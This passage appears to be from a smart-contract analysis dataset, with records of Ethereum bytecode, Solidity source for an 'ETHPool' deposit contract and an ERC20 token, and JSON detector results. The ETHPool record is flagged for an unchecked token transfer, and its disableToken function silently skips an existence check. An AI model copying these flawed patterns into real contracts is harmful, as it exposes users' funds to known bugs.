ffff161415156113a957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114b357fe5b818303905092915050565b60008082840190508381101515156114d257fe5b80915050929150505600a165627a7a72305820f7f1e66b74602ed861496b1dc801fd137876668059b3d536621ae9faf3ea66b40029
|
{"success": true, "error": null, "results": {}}
| 6,171 |
0xc9f7fe06e2874606d6921442e1421c888497706b
|
/**
*Submitted for verification at polygonscan.com on 2021-09-14
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint value);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ETHPool is Ownable{
using SafeERC20 for IERC20;
mapping(address=>bool) public supportedTokens;
uint256 supportedTokensCount = 0;
address[] public tokenAddresses;
address public walletAddress;
constructor () {
walletAddress = msg.sender;
}
event Deposit(address indexed from, address indexed to, address token_address, uint256 value);
event Withdraw(address indexed from, address indexed to, address token_address, uint256 value);
function updateWalletAddress(address addr) public onlyOwner {
walletAddress = addr;
}
function checkTokenAddressExists(address token_address) internal view returns (bool) {
for (uint i = 0 ; i < tokenAddresses.length ; i ++ ) {
if (tokenAddresses[i] == token_address ) {
return true;
}
}
return false;
}
function setToken(address token) public onlyOwner {
require(checkTokenAddressExists(token) == false, "Token already set");
supportedTokens[token] = true;
tokenAddresses.push(token);
supportedTokensCount = supportedTokensCount + 1;
}
function enableToken(address token) public onlyOwner {
require(checkTokenAddressExists(token) == true, "Token not yet exists");
require(supportedTokens[token] == false, "Token is already enabled");
supportedTokens[token] = true;
if ( ! checkTokenAddressExists(token) ) {
tokenAddresses.push(token);
}
supportedTokensCount = supportedTokensCount + 1;
}
function disableToken(address token) public onlyOwner {
(checkTokenAddressExists(token) == true, "Token not yet exists");
require(supportedTokens[token] == true, "Token is already disabled");
supportedTokens[token] = false;
supportedTokensCount = supportedTokensCount - 1;
}
// get the tokens that we supports
function getSupportedTokenAddresses() public view returns (address[] memory){
address[] memory supportedTokenAddresses = new address[](supportedTokensCount);
uint16 count = 0;
for ( uint256 i = 0 ; i < tokenAddresses.length ; i ++ ){
if (supportedTokens[tokenAddresses[i]]) {
supportedTokenAddresses[count] = tokenAddresses[i];
count = count + 1;
}
}
return supportedTokenAddresses;
}
function deposit(address token, uint256 amount) public {
require(supportedTokens[token], "TOKEN ADDRESS IS NOT SUPPORTED");
uint256 balance = IERC20(token).balanceOf(address(msg.sender));
require(balance >= amount, "Pool: INSUFFICIENT_INPUT_AMOUNT");
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
emit Deposit(msg.sender, address(this), token, amount);
}
function depositNative() public payable {
require(supportedTokens[address(0)], "NATIVE TOKEN IS NOT SUPPORTED");
emit Deposit(msg.sender, address(this), address(0), msg.value);
}
function withdrawToken(address token) public onlyOwner {
uint256 balance = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(walletAddress, balance);
emit Withdraw(address(this), walletAddress, token, balance);
}
function withdrawNativeToken() public onlyOwner {
uint256 balance = address(this).balance;
payable(walletAddress).transfer(balance);
emit Withdraw(address(this), walletAddress, address(0), balance);
}
function balanceOfToken(address token) public view onlyOwner returns (uint256 amount) {
uint256 balance = IERC20(token).balanceOf(address(this));
return balance;
}
function balanceOfNativeToken() public view onlyOwner returns (uint256 amount) {
uint256 balance = address(this).balance;
return balance;
}
}
|
0x6080604052600436106100fe5760003560e01c80638947606911610095578063c690908a11610064578063c690908a146102fb578063c93c266e14610324578063db6b52461461034d578063e5df8b8414610357578063f2fde38b14610394576100fe565b8063894760691461023f5780638da5cb5b14610268578063b0b57b5f14610293578063b99152d0146102be576100fe565b80635a18664c116100d15780635a18664c146101a957806368c4ac26146101c05780636ad5b3ea146101fd578063715018a614610228576100fe565b8063144fa6d71461010357806316df60a61461012c57806323e27a641461015757806347e7ef2414610180575b600080fd5b34801561010f57600080fd5b5061012a60048036038101906101259190611c72565b6103bd565b005b34801561013857600080fd5b50610141610573565b60405161014e91906120b8565b60405180910390f35b34801561016357600080fd5b5061017e60048036038101906101799190611c72565b610721565b005b34801561018c57600080fd5b506101a760048036038101906101a29190611c9f565b6108c8565b005b3480156101b557600080fd5b506101be610abd565b005b3480156101cc57600080fd5b506101e760048036038101906101e29190611c72565b610c4d565b6040516101f491906120da565b60405180910390f35b34801561020957600080fd5b50610212610c6d565b60405161021f919061203d565b60405180910390f35b34801561023457600080fd5b5061023d610c93565b005b34801561024b57600080fd5b5061026660048036038101906102619190611c72565b610de6565b005b34801561027457600080fd5b5061027d611045565b60405161028a919061203d565b60405180910390f35b34801561029f57600080fd5b506102a861106e565b6040516102b59190612297565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e09190611c72565b611111565b6040516102f29190612297565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190611c72565b61123e565b005b34801561033057600080fd5b5061034b60048036038101906103469190611c72565b611495565b005b61035561156e565b005b34801561036357600080fd5b5061037e60048036038101906103799190611d0c565b611664565b60405161038b919061203d565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190611c72565b6116a3565b005b6103c5611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044990612217565b60405180910390fd5b6000151561045f8261174c565b1515146104a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049890612197565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160025461056a9190612355565b60028190555050565b6060600060025467ffffffffffffffff8111156105935761059261250f565b5b6040519080825280602002602001820160405280156105c15781602001602082028036833780820191505090505b5090506000805b6003805490508110156107185760016000600383815481106105ed576105ec6124e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156107055760038181548110610679576106786124e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838361ffff16815181106106bb576106ba6124e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600182610702919061231d565b91505b808061071090612468565b9150506105c8565b50819250505090565b610729611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ad90612217565b60405180910390fd5b600115156107c38261174c565b505060011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084f90612157565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016002546108bf91906123ab565b60028190555050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b90612137565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b815260040161098f919061203d565b60206040518083038186803b1580156109a757600080fd5b505afa1580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190611d39565b905081811015610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612177565b60405180910390fd5b610a513330848673ffffffffffffffffffffffffffffffffffffffff166117fb909392919063ffffffff16565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a968585604051610ab092919061208f565b60405180910390a3505050565b610ac5611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4990612217565b60405180910390fd5b6000479050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610bbf573d6000803e3d6000fd5b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f3115d1449a7b732c986cba18244e897a450f61e1bb8d589cd2e69e6c8924f9f7600084604051610c4292919061208f565b60405180910390a350565b60016020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c9b611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1f90612217565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dee611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290612217565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610eb6919061203d565b60206040518083038186803b158015610ece57600080fd5b505afa158015610ee2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f069190611d39565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610f6592919061208f565b602060405180830381600087803b158015610f7f57600080fd5b505af1158015610f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb79190611cdf565b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f3115d1449a7b732c986cba18244e897a450f61e1bb8d589cd2e69e6c8924f9f7848460405161103992919061208f565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611078611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc90612217565b60405180910390fd5b60004790508091505090565b600061111b611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612217565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016111e3919061203d565b60206040518083038186803b1580156111fb57600080fd5b505afa15801561120f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112339190611d39565b905080915050919050565b611246611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ca90612217565b60405180910390fd5b600115156112e08261174c565b151514611322576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611319906121b7565b60405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac90612237565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506114158161174c565b61147d576003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600160025461148c9190612355565b60028190555050565b61149d611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461152a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152190612217565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f1906121f7565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a9660003460405161165a92919061208f565b60405180910390a3565b6003818154811061167457600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116ab611744565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172f90612217565b60405180910390fd5b61174181611884565b50565b600033905090565b600080600090505b6003805490508110156117f0578273ffffffffffffffffffffffffffffffffffffffff166003828154811061178c5761178b6124e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117dd5760019150506117f6565b80806117e890612468565b915050611754565b50600090505b919050565b61187e846323b872dd60e01b85858560405160240161181c93929190612058565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506119b1565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb90612117565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611a13826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611a789092919063ffffffff16565b9050600081511115611a735780806020019051810190611a339190611cdf565b611a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6990612277565b60405180910390fd5b5b505050565b6060611a878484600085611a90565b90509392505050565b606082471015611ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acc906121d7565b60405180910390fd5b611ade85611ba4565b611b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1490612257565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051611b469190612026565b60006040518083038185875af1925050503d8060008114611b83576040519150601f19603f3d011682016040523d82523d6000602084013e611b88565b606091505b5091509150611b98828286611bb7565b92505050949350505050565b600080823b905060008111915050919050565b60608315611bc757829050611c17565b600083511115611bda5782518084602001fd5b816040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0e91906120f5565b60405180910390fd5b9392505050565b600081359050611c2d816127b2565b92915050565b600081519050611c42816127c9565b92915050565b600081359050611c57816127e0565b92915050565b600081519050611c6c816127e0565b92915050565b600060208284031215611c8857611c8761253e565b5b6000611c9684828501611c1e565b91505092915050565b60008060408385031215611cb657611cb561253e565b5b6000611cc485828601611c1e565b9250506020611cd585828601611c48565b9150509250929050565b600060208284031215611cf557611cf461253e565b5b6000611d0384828501611c33565b91505092915050565b600060208284031215611d2257611d2161253e565b5b6000611d3084828501611c48565b91505092915050565b600060208284031215611d4f57611d4e61253e565b5b6000611d5d84828501611c5d565b91505092915050565b6000611d728383611d7e565b60208301905092915050565b611d87816123df565b82525050565b611d96816123df565b82525050565b6000611da7826122c2565b611db181856122f0565b9350611dbc836122b2565b8060005b83811015611ded578151611dd48882611d66565b9750611ddf836122e3565b925050600181019050611dc0565b5085935050505092915050565b611e03816123f1565b82525050565b6000611e14826122cd565b611e1e8185612301565b9350611e2e818560208601612435565b80840191505092915050565b6000611e45826122d8565b611e4f818561230c565b9350611e5f818560208601612435565b611e6881612543565b840191505092915050565b6000611e8060268361230c565b9150611e8b82612554565b604082019050919050565b6000611ea3601e8361230c565b9150611eae826125a3565b602082019050919050565b6000611ec660198361230c565b9150611ed1826125cc565b602082019050919050565b6000611ee9601f8361230c565b9150611ef4826125f5565b602082019050919050565b6000611f0c60118361230c565b9150611f178261261e565b602082019050919050565b6000611f2f60148361230c565b9150611f3a82612647565b602082019050919050565b6000611f5260268361230c565b9150611f5d82612670565b604082019050919050565b6000611f75601d8361230c565b9150611f80826126bf565b602082019050919050565b6000611f9860208361230c565b9150611fa3826126e8565b602082019050919050565b6000611fbb60188361230c565b9150611fc682612711565b602082019050919050565b6000611fde601d8361230c565b9150611fe98261273a565b602082019050919050565b6000612001602a8361230c565b915061200c82612763565b604082019050919050565b6120208161242b565b82525050565b60006120328284611e09565b915081905092915050565b60006020820190506120526000830184611d8d565b92915050565b600060608201905061206d6000830186611d8d565b61207a6020830185611d8d565b6120876040830184612017565b949350505050565b60006040820190506120a46000830185611d8d565b6120b16020830184612017565b9392505050565b600060208201905081810360008301526120d28184611d9c565b905092915050565b60006020820190506120ef6000830184611dfa565b92915050565b6000602082019050818103600083015261210f8184611e3a565b905092915050565b6000602082019050818103600083015261213081611e73565b9050919050565b6000602082019050818103600083015261215081611e96565b9050919050565b6000602082019050818103600083015261217081611eb9565b9050919050565b6000602082019050818103600083015261219081611edc565b9050919050565b600060208201905081810360008301526121b081611eff565b9050919050565b600060208201905081810360008301526121d081611f22565b9050919050565b600060208201905081810360008301526121f081611f45565b9050919050565b6000602082019050818103600083015261221081611f68565b9050919050565b6000602082019050818103600083015261223081611f8b565b9050919050565b6000602082019050818103600083015261225081611fae565b9050919050565b6000602082019050818103600083015261227081611fd1565b9050919050565b6000602082019050818103600083015261229081611ff4565b9050919050565b60006020820190506122ac6000830184612017565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000612328826123fd565b9150612333836123fd565b92508261ffff0382111561234a576123496124b1565b5b828201905092915050565b60006123608261242b565b915061236b8361242b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156123a05761239f6124b1565b5b828201905092915050565b60006123b68261242b565b91506123c18361242b565b9250828210156123d4576123d36124b1565b5b828203905092915050565b60006123ea8261240b565b9050919050565b60008115159050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015612453578082015181840152602081019050612438565b83811115612462576000848401525b50505050565b60006124738261242b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156124a6576124a56124b1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e2041444452455353204953204e4f5420535550504f525445440000600082015250565b7f546f6b656e20697320616c72656164792064697361626c656400000000000000600082015250565b7f506f6f6c3a20494e53554646494349454e545f494e5055545f414d4f554e5400600082015250565b7f546f6b656e20616c726561647920736574000000000000000000000000000000600082015250565b7f546f6b656e206e6f742079657420657869737473000000000000000000000000600082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f4e415449564520544f4b454e204953204e4f5420535550504f52544544000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f546f6b656e20697320616c726561647920656e61626c65640000000000000000600082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b6127bb816123df565b81146127c657600080fd5b50565b6127d2816123f1565b81146127dd57600080fd5b50565b6127e98161242b565b81146127f457600080fd5b5056fea2646970667358221220009d3bff801b210dead1ec546b5ab4b8fb1e3483cfa479337e672dc860bb8daf64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,172 |
0xa29123e4183fa4cd9fb11861be12238ceee72044
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
